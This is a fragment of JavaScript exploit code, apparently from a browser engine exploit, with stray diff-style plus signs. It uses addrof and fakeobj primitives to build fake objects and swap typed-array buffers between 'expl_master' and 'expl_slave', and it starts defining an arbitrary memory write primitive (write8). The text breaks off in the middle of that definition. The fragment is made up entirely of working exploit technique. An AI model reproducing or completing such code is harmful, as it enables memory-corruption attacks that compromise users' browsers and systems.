addrof_expl_slave = addrof(expl_slave); var m = fakeobj(addrof(obj) + 16); + obj.buffer = expl_slave; + m[7] = 1; obj.buffer = expl_master; m[4] = addrof_expl_slave; m[5] = (addrof_expl_slave - addrof_expl_slave % 0x100000000) / 0x100000000; + m[7] = 1; var prim = { write8: function (addr, value) {